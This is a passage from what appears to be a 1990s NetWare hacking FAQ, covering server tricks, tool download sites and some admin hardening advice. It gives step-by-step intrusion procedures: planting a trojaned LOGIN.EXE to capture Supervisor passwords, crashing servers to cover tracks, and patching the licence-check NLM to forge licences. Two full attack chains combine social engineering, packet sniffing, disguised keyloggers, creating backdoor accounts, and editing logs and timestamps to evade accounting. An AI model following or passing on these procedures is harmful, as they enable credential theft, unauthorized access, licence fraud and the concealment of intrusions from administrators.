MAP DELETE G:
- Now copy the files to the Supervisor's SYS:MAIL directory from a drive
mapped to the SYS: volume.
TYPE BOMB.BAT > \MAIL\1\BOMB.BAT
TYPE LOGIN > \MAIL\1\LOGIN
- The next time the Supervisor logs in the LOGIN.EXE is replaced and the
PROP.EXE file is run, capturing passwords. Run PROP.EXE later to get the
passwords, and then once you have all the passwords you need (including
Supervisor) delete your LOGIN and BOMB.BAT file.
Admins can defeat this by creating default personal Login Scripts or by
adding an EXIT command to the end of the System Login Script. Later versions
of Netware create a zero-length LOGIN file at ID creation time in the
SYS:MAIL directories to defeat this.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 04
Miscellaneous Info on Netware
---------------------------------------------------------------------------
04-1. Why can't I get through the 3.x server to another network via TCP/IP?
Loading the TCPIP.NLM in a server with two cards does not mean that packets
will be forwarded from one card to another. For packet forwarding to work, the
AUTOEXEC.NCF file should have the line:
load tcpip forward=yes
For packets to go through the server, you must set up a "gateway=aa.bb.cc.dd"
option on the workstation. This leaves routing up to the server. If you are
writing hack tools, keep this in mind if they use IP. Some older routers may
not recognize the Netware server as a router, so you may not have many options
if your target is on the other side of one of these routers. Newer routers are
Netware aware and will "find" your server as a router through RIP.
Netware 3.11 IP will only forward between two different subnets. Proxy Arp is
currently not supported in Netware IP. Example:
123.45.6 & 123.45.7 with a mask of ff.ff.ff.00 will forward packets
123.45.6 & 231.45.7 with a mask of ff.ff.ff.00 will not
This way you do not waste precious time trying to cross an uncrossable river.
Some admins use this to limit the flow of IP traffic.
---------------------------------------------------------------------------
04-2. How can I boot my server without running STARTUP.NCF/AUTOEXEC.NCF?
For Netware 3.xx, use these command-line options:
SERVER -NS to skip STARTUP.NCF, and
SERVER -NA to skip AUTOEXEC.NCF
NetWare 2.x does not HAVE the files STARTUP.NCF and AUTOEXEC.NCF. Instead they
hard-code all the information into NET$OS.EXE, so you will have to rebuild it
to change anything.
---------------------------------------------------------------------------
04-3. How can I login without running the System Login Script?
Often an admin will try and prevent a user from getting to DOS or breaking
out of the System Login Script to "control" the user. Here's to way to
prevent that -
- Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run
the login script, whereas LOGIN will. ATTACH.EXE will either have to be
copied to a local HD or put in SYS:LOGIN.
- Use the /s <fname> option for LOGIN. Using "LOGIN /S NUL <login>" will
cause LOGIN to load the DOS device NUL which will always seem like an empty
file.
---------------------------------------------------------------------------
04-4. How do I remotely reboot a Netware 3.x file server?
If you have access to a server via RCONSOLE it may come in handy after
loading or unloading an NLM to reboot a server. Build an NCF file by
doing the following steps -
- Create a file called DOWNBOY.NCF on your local drive. It should be
a text file and contain the following lines:
REMOVE DOS
DOWN
EXIT
- Copy up the file to the SYS:SYSTEM directory using RCONSOLE.
- At the System Console prompt, type DOWNBOY and enter.
What happens is this - the REMOVE DOS statement frees up the DOS section
in server RAM, the server is downed (if there are open files, you will
be given one of those "are you sure" messages, answer Y for yes), and
the EXIT command tries to return the server console to DOS. But since
you removed DOS from RAM, the server is warm booted.
---------------------------------------------------------------------------
04-5. How can I abend a Netware server? And why?
I'll answer the second question first. You may be testing your server as an
administrator and wish to see how you are recovering from crashes. Or you
may be a hacker and wish to cover your tracks VERY DRAMATICALLY. After all,
if you are editing log files and they are going to look funny when you are
done, a good crash might explain why things look so odd in the logs.
These are per itsme:
- Netware 4.1 : type 512 chars on the console + NENTER -> abend
- Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher
than the maximum allowed will crash the server (yes you will need the APIs)
---------------------------------------------------------------------------
04-6. What is interesting about Netware 4.x's licensing?
It is possible to load multiple licenses and combine their total number of
users. For example, if you are in one of those Novell CNE classes where they
give you a 2 user 4.1 license, you can get everyone's CD in class and combine
them on one server. If you get 10 CDs you have a 20 user license. I know of no
limit to the maximum number of licenses and user limit, except for hardware
limitations supporting it. This means you could load more than one copy of
1000 user Netware 4.1 on a server (assuming you have unique copies, not the
same copy twice).
itsme has done some poking around with his tools, and has the following to say
regarding the SERVER.EXE that comes with Netware 4:
what's inside server.exe:
0001d7c7 server.nlm type=07
000d319d "Link" 000d504a
000d31a5 unicode.nlm type=00 (ordinary NLM)
000d504a "Link" 000d6e9c
000d5052 dsloader.nlm type=00 (ordinary NLM)
000d6e9c "Link" 000db808
000d6ea4 timesync.nlm type=00 (ordinary NLM)
000db808 polimgr.nlm type=0c ('hidden' NLM)
by editing the binary of server, and changing the type of polimgr.nlm
from 0c to 00 (offset 007a or 000db882 in server.exe)
it becomes unhidden.
hidden NLM's are protected from debugging with the netware debugger.
polimgr.nlm manages the license files, after it reads the file,
it checks with somekind of signature function whether it is a valid file
the function doing the checking can be made to always return OK, then
you can create an any number of users license.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 05
Resources
---------------------------------------------------------------------------
05-1. What are some Netware FTP locations?
These are from various FAQs. I have not checked all of these and I'm pretty
sure some may no longer be up. But here's a starting point.
Novell's ftp site:
ftp.novell.com 137.65.4.1
ftp.novell.de 193.97.1.1
Novell's ftp Mirrors:
netlab2.usu.edu 129.123.1.44 (the best)
bnug.proteon.com 128.185.17.201
bnug.harvard.edu 128.103.85.201
ftp.rug.nl /networks/novell 129.125.4.15
ftp.salford.ac.uk /novell 146.87.255.21
tui.lincoln.ac.nz /novell/novlib 138.75.90.4
novell.nrc.ca /netwire 132.246.160.4
Other Misc. Sites:
ml0.ucs.ed.ac.uk /guest/pc 129.215.112.49 (second best)
splicer2.cba.hawaii.edu /files/novell 128.171.17.2
/files/pegasus
cc.usu.edu /slip 129.123.1.1
/tcp-ip
risc.ua.edu /pub/network/novlib 130.160.4.7
/pub/network/pegasus
/pub/network/misc
/pub/network/tcpip
wuarchive.wustl.edu /etc/system/novell 128.252.135.4
nctuccca.edu.tw 140.111.1.10
ftp.uni-kl.de /pub/novell 131.246.9.95
netlab.usu.edu /novell 129.123.1.11
/netwatch
chaos.cc.ncsu.edu /pc/novell 152.1.19.23
/pc/utils
/pc/email
/pc/net
/pc/manage
dutiws.twi.tudelft.nl /pub/novell 130.161.156.11
jumper.mcc.ac.uk /pub/security/netware
---------------------------------------------------------------------------
05-2. Can I get files without FTP?
Try using the BITFTP-FTP/Email gateway. Just send e-mail containing HELP as
the BODY (not a subject) to BITFTP@PUCC.BITNET. It will send more info to
you.
Internet gateways are:
ftpmail@decwrl.dec.com
ftpmail@cs.uow.edu.au
If you are on Compuserve, type GO NETWIRE to get to Novell's forum. There are
files on there for downloading. Also try the CD NSEpro, which is most of the
Netwire forum put on CD.
---------------------------------------------------------------------------
05-3. What are some Netware WWW locations?
http://www.novell.com/ Novell in Provo
http://www.novell.de/ Novell in Europe
http://www.netware.com/ Novell propaganda site
http://www.salford.ac.uk/ais/Network/Novell-Faq.html Novell@listserv.syr.edu
http://mft.ucs.ed.ac.uk/novell/techsup/techsup.htm Edinburg Tech Library*
http://fastlane.net/homepages/thegnome My home page
http://resudox.net/bio/mainpage.html Small tool collection
http://www.efs.mq.edu.au/novell/faq comp.sys.novell FAQ
http://www.cis.ohio-state.edu/hypertext/faq/usenet/netware/security/faq.html
comp.os.netware.security FAQ
*Excellent site for tons of techie info. The Netware Server Management
section should be read be all hackers and admins alike.
---------------------------------------------------------------------------
05-4. What are some Netware USENET groups?
comp.os.netware.misc. (main group, replaced comp.sys.novell)
comp.os.netware.announce (moderated announcements)
comp.os.netware.security (security issues)
comp.os.netware.connectivity (connect. issues incl. LAN Workplace)
---------------------------------------------------------------------------
05-5. What are some Netware mailing lists?
* NOVELL@listserv.syr.edu - send an email with no subject to
listserv@listserv.syr.edu with "subscribe NOVELL Your Full Name" in the body.
You must reply to the message within two days or you'll not be added to the
list. The same address no subject with "unsubscribe NOVELL" takes you off the
list.
* BIG-LAN@suvm.acs.syr.edu - send subscriptions to LISTSERV@suvm.acs.syr.edu.
* CUTCP-L@nstn.ns.ca for a discussion of Charon and CUTCP Telnet issues. Send
subscription requests to listserv@nstn.ns.ca.
* INFO-IBMPC@arl.army.mil - send subscription requests to
INFO-IBMPC-REQUEST@arl.army.mil.
* PMAIL@ua1vm.ua.edu for discussion of Pegasus Mail. The author, David Harris,
is active on this list. Send subscription and other administrative requests to
listserv@ua1vm.ua.edu.
* NWP@UEL.AC.UK for programming under Netware. Send subscription requests to
LISTPROC@UEL.AC.UK.
* MSDOS-ANN@tacom-emh1.army.mil for announcements of SimTel uploads. To
subscribe, send mail to LISTSERV@tacom-emh1.army.mil with the message
SUBSCRIBE MSDOS-ANN.
* Garbo-Ann@Garbo.uwasa.fi for announcements of Garbo uploads. To subscribe,
send mail to Majordomo@Garbo.uwasa.fi with the message SUBSCRIBE GARBO-ANN
<firstname> <lastname>.
* CICA-L@ubvm.cc.buffalo.edu for announcements of Windows uploads to CICA. To
subscribe, send mail to Listserv@ubvm.cc.buffalo.edu with the message SUBSCRIBE
CICA-L <firstname> <lastname>.
---------------------------------------------------------------------------
05-5. Where can I get the files mentioned in this FAQ?
SETPWD.NLM - m10.ucs.ed.ac.uk /guest/pc/novell/nlms setpwd.zip
SETSPWD.NLM - netlab2.usu.edu /misc
SETSPASS.NLM - netlab2.usu.edu /misc
NOVELBFH.EXE - jumper.mcc.ac.uk /pub/security/netware novelbfh.zip
KNOCK.EXE - jumper.mcc.ac.uk /pub/security/netware knock.zip
LOGIN.EXE - jumper.mcc.ac.uk /pub/security/netware nwl.zip
PROP.EXE - jumper.mcc.ac.uk /pub/security/netware nwl.zip
CHKNULL.EXE - jumper.mcc.ac.uk /pub/security/netware chk0.zip
USERLST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
LASTHOPE.NLM - m10.ucs.ed.ac.uk /guest/pc/novell/nlms lasthope.zip
NW-HACK.EXE - jumper.mcc.ac.uk /pub/security/netware nw-hack.zip
SUPER.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils super.zip
CONLOG.NLM - m10.ucs.ed.ac.uk /guest/pc/novell
X-AWAY.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils x-away.zip
Bindview - Your local software dealer
GRPLIST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
GETEQUIV.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
TRSTLIST.EXE - m10.ucs.ed.ac.uk /guest/pc/novell/utils jrb212a.zip
SECUREFX.NLM - www.novell.com Search for it in the Tech Section
RCON.FAQ - jumper.mcc.ac.uk /pub/security/netware rcon.faq
---------------------------------------------------------------------------
05-6. What are some good books for Netware?
For Netware basics, there are tons. Bill Lawrence has a number of books
that are easy to read but cover things with enough detail for a good
understanding. I recommend the latest stuff from him. Look in your local
bookstore's techie section. The Novell Press books are also good, but you
tend to pay more for the name.
For programming, quoted from my home page:
Programmer's Guide to Netware -- (1990) Author: Charles G. Rose. Publisher:
McGraw-Hill, Inc. The bible of Netware programming, dated since Novell has
changed virtually every header file, but still the best. Covers 2.x and 3.x
except for NLM programming. Lots of good source code.
Netware Programmer's Guide -- (1990) Author: John T. McCann. Publisher: M&T
Books. Another dated but classic book with lots of good source for learning.
Novell 4.0 NLM Programming -- (1993) Authors: Michael Day, Michael Koontz,
Daniel Marshall. Publisher: Sybex, Inc. Not as complete as I would like, but
I'm picky. Still a classic. Although the title implies 4.x, most of it still
works for 3.x, too. And if you can't get the kids to sleep, try reading them
the tons of useful source code. Jeez, you may have to leave the closet light
on, though...
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 06
Netware APIs
---------------------------------------------------------------------------
06-1. Where can I get the Netware APIs?
Stateside call 1-800-RED-WORD, it's $50 USD, and includes a 2-user license
of Netware 4.1. Most brand-name compilers will work, but if you're writing
NLMs you'll need Watcom's latest. It's the only one I know of that will do
NLM linking.
---------------------------------------------------------------------------
---------------------------------------------------------------------------
Section 07
For Administrators Only
---------------------------------------------------------------------------
07-1. How do I secure my server?
This question is asked by administrators, and I'm sure no hackers will read
this info and learn what you admins might do to thwart hack attacks ;-)
One thing to keep in mind, most compromises of data occur from an employee
of the company, not an outside element. They may wish to access sensitive
personnel files, copy and sell company secrets, be disgruntled and wish to
cause harm, or break in for kicks or bragging rights. So trust no one.
Physically Secure The Server -
------------------------------
This is the simplest one. Keep the server under lock and key. If the server
is at a site where there is a data center (mainframes, midranges, etc) put it
in the same room and treat it like the big boxes. Access to the server's room
should be controlled minimally by key access, preferably by some type of key
card access which can be tracked. In large shops, a man trap (humanoid that
guards the room) should be in place.
If the server has a door with a lock, lock it (some larger servers have this)
and limit access to the key. This will secure the floppy drive. One paranoid
site I know of keeps the monitor and CPU behind glass, so that the keyboard
and floppy drive cannot be accessed by the same person at the same time.
If you only load NLMs from the SYS:SYSTEM directory, use the SECURE CONSOLE
command to prevent NLMs being loaded from the floppy or other location.
A hacker could load a floppy into the drive and run one of several utility
files to gain access to the server. Or they could steal a backup tape or just
power off the server! By physically securing the server, you can control who
has access to the server room, who has access to the floppy drive, backup
tapes, and the System Console. This step alone will eliminate 75% of attack
potential.
Secure Important Files -
------------------------
These should be stored offline. You should make copies of the STARTUP.NCF and
AUTOEXEC.NCF files. The bindery or NDS files should be backed up and stored
offsite. All System Login Scripts, Container Scripts, and any robotic or
non-human personal Login Scripts should be copied offline. A robotic or
non-human account would be an account used by an email gateway, backup
machine, etc.
Compile a list of NLMs and their version numbers, and a list of files from
the SYS:LOGIN, SYS:PUBLIC, and SYS:SYSTEM directories.
You should periodically check these files against the originals to ensure
none have been altered.
Replacing the files with different ones (like using itsme's LOGIN.EXE
instead of Novell's) will give the hacker access to the entire server. It is
also possible that the hacker will alter .NCF or Login Scripts to bypass
security or to open holes for later attacks.
Make a list of Users and their accesses -
-----------------------------------------
Use a tool like Bindview or GRPLIST.EXE from the JRB Utilities to get a list
of users and groups (including group membership). Once again, keep this
updated and check it frequently against the actual list.
Also run Security (from the SYS:SYSTEM directory) or GETEQUIV.EXE from the
JRB Utilities to determine who has Supervisor access. Look for odd accounts
with Supervisor access like GUEST or PRINTER.
It is also a good idea to look at Trustee Assignments and make sure access is
at a minimum. Check your run from Security to see if access is too great in
any areas, or run TRSTLIST from the JRB Utilities.
Security will turn up some odd errors if SUPER.EXE has been run. If you are
not using SUPER.EXE, delete and rebuild any odd accounts with odd errors
related to the Bindery, particularly if BINDFIX doesn't fix them yet the
account seems to work okay. If a hacker put in a backdoor using SUPER.EXE,
they could get in and perhaps leave other ways in.
Monitor the Console -
---------------------
Use the CONLOG.NLM to track the server console activity. This is an excellent
diagnostic tool since error messages tend to roll off the screen. It will
not track what was typed in at the console, but the system's responses will
be put in SYS:ETC\CONSOLE.LOG. When checking the console, hit the up arrow
to show what commands were last typed in.
While this won't work in large shops or shops with forgetful users, consider
using the SECUREFX.NLM (or SECUREFX.VAP for 2.x). This sometimes annoying
utility displays the following message on the console and to all the users
after a security breach:
"Security breach against station <connection number> DETECTED."
This will also be written to an error log. The following message is also
written the the log and to the console:
"Connection TERMINATED to prevent security compromise"
Turn on Accounting -
--------------------
Once Accounting is turned on, you can track every login and logout to the
server, including failed attempts.
Don't Use the Supervisor Account -
----------------------------------
Leaving the Supervisor logged in is an invitation to disaster. If packet
signature is not being used, someone could use HACK.EXE and gain access to the
server as Supervisor. HACK spoofs packets to make them look like they came from
the Supervisor to add Supe equivalence to other users.
Also, it implies a machine is logged in somewhere as Supervisor, if it has been
logged in for more than 8 hours chances are it may be unattended.
Use Packet Signature -
----------------------
To prevent packet spoofing (i.e. HACK.EXE) enforce packet signature. Add the
following line to your AUTOEXEC.NCF -
SET NCP PACKET SIGNATURE OPTION=3
This forces packet signature to be used. Clients that do not support packet
signature will not be able to access, so they will need to be upgraded if you
have any of these clients.
Use RCONSOLE Sparingly (or not at all) -
----------------------------------------
When using RCONSOLE you are subject to a packet sniffer getting the packets
and getting the password. While this is normally above the average user's
expertise, DOS-based programs that put the network interface card into
promiscuous mode and capture every packet on the wire are readily available
on the Internet. The encryption method is not foolproof.
Remember you cannot "detect" a sniffer in use on the wire.
Do NOT use a switch to limit the RCONSOLE password to just the Supervisor
password. All you have done is set the password equal to the switch. If
you use the line "LOAD REMOTE /P=", Supervisor's password will get in (it
ALWAYS does) and the RCONSOLE password is now "/P=". Since the RCONSOLE
password will be in plain text in the AUTOEXEC.NCF file, to help secure
it try adding a non-printing character or a space to the end of the
password.
Move the AUTOEXEC.NCF to a more secure location (3.x and above) -
-----------------------------------------------------------------
Put your AUTOEXEC.NCF file in the same location as the SERVER.EXE file. If a
server is compromised in that access to the SYS:SYSTEM directory is available
to an unauthorized user, you will at least have protected the AUTOEXEC.NCF
file.
A simple trick you can do is "bait" a potential hacker by keeping a false
AUTOEXEC.NCF file in the SYS:SYSTEM with a false RCONSOLE password (among
other things).
Use the Lock File Server Console option in Monitor (3.x and above) -
--------------------------------------------------------------------
Even if the RCONSOLE password is discovered, the Supe password is discovered,
or physical access is gained, a hard to guess password on the console will
stop someone from accessing the console.
Add EXIT to the end of the System Login Script -
------------------------------------------------
By adding the EXIT command as the last line in the System Login Script,
you can control to a degree what the user is doing. This eliminates the
potential for personal Login Script attacks, as described in section 03-6.
Upgrade to Netware 4.1 -
------------------------
Besides making a ton of Novell sales and marketing people very happy, you
will defeat most of the techniques described in this faq. Most well-known
hacks are for 3.11. If you don't want to make the leap to NDS and 4.1, at
least get current and go to 3.12.
---------------------------------------------------------------------------
07-2. I'm an idiot. Exactly how do hackers get in?
We will use this section as an illustrated example of how these techniques can
be used in concert to gain Supe access on the target server. These techniques
show the other thing that really helps in Netware hacking - a little social
engineering.
Exploitation #1
---------------
Assume tech support people are dialing in for after hours support. Call up and
pose as a vendor of security products and ask for tech support person. Called
this person posing as a local company looking for references, ask about remote
dial-in products. Call operator of company and ask for help desk number. Call
help desk after hours and ask for dial-in number, posing as the tech support
person. Explain home machine has crashed and you've lost number.
Dial in using the proper remote software and try simple logins and passwords for
dial-in software if required. If you can't get in call help desk especially if
others such as end users use dial-in.
Upload alternate LOGIN.EXE and PROP.EXE, and edit AUTOEXEC.BAT to run the
alternate LOGIN.EXE locally. Rename PROP.EXE to IBMNBIO.COM and make it hidden.
Before editing AUTOEXEC.BAT change the date and time of the PC so that the date/time stamp reflects the original before the edit.
Dial back in later, rename PROP.EXE and run it to get Accounts and passwords.
Summary - Any keystroke capture program could produce the same results as the
alternate LOGIN.EXE and PROP.EXE, but you end up with a Supe equivalent account.
Exploitation #2
---------------
Load a DOS-based packet sniffer, call the sys admin and report a FATAL
DIRECTORY ERROR when trying to access the server. He predictively will use
RCONSOLE to look at the server and his packet conversation can be captured. He
will find nothing wrong (of course).
Study the capture and use the RCON.FAQ to obtain the RCONSOLE password. Log in
as GUEST, create a SYSTEM subdirectory in the home directory (or any directory
on SYS:). Root map a drive to the new SYSTEM, copy RCONSOLE.* to it, and run
RCONSOLE. Once in try to unload CONLOG and upload BURGLAR.NLM to the real
SYS:SYSTEM. Created a Supe user (i.e. NEWUSER) and then typed CLS to clear the
server console screen.
Log in as NEWUSER. Erase BURGLAR.NLM, new SYSTEM directory and its contents.
Run PURGE in those directories. Turn off Accounting if on. Give GUEST Supe
rights. Set toggle with SUPER.EXE for NEWUSER. Run FILER and note SYS:ETC\CONSOLE.LOG (if CONLOG was loaded) owner and create date, as well as
SYS:SYSTEM\SYS$ERR.LOG owner and create date. Edit SYS:ETC\CONSOLE.LOG and
remove BURGLAR.NLM activity, including RCONSOLE activity. Edit and remove
RCONSOLE activity from SYS:SYSTEM\SYS$ERR.LOG as well. After saving files,
run FILER and restore owner and dates if needed. Run PURGE in their directories.
Logout and login as GUEST and set SUPER.EXE toggle. Remove NEWUSER Supe rights
and logout. Login as NEWUSER with SUPER.EXE and remove GUEST Supe rights.
Finally logout and login as GUEST with SUPER.EXE and turn on Accounting if it
was on.
Summary - You have created a backdoor into the system that will not show up as
somthing unusual in the Accounting log. Login as GUEST using SUPER.EXE and turn
off Accounting. Logout and back in as NEWUSER with SUPER.EXE, do what you
need to do (covering file alterations with Filer), and logout. Log back in as
GUEST and turn on Accounting. The NET$ACCT.DAT file shows only GUEST logging in
followed by GUEST logging out.
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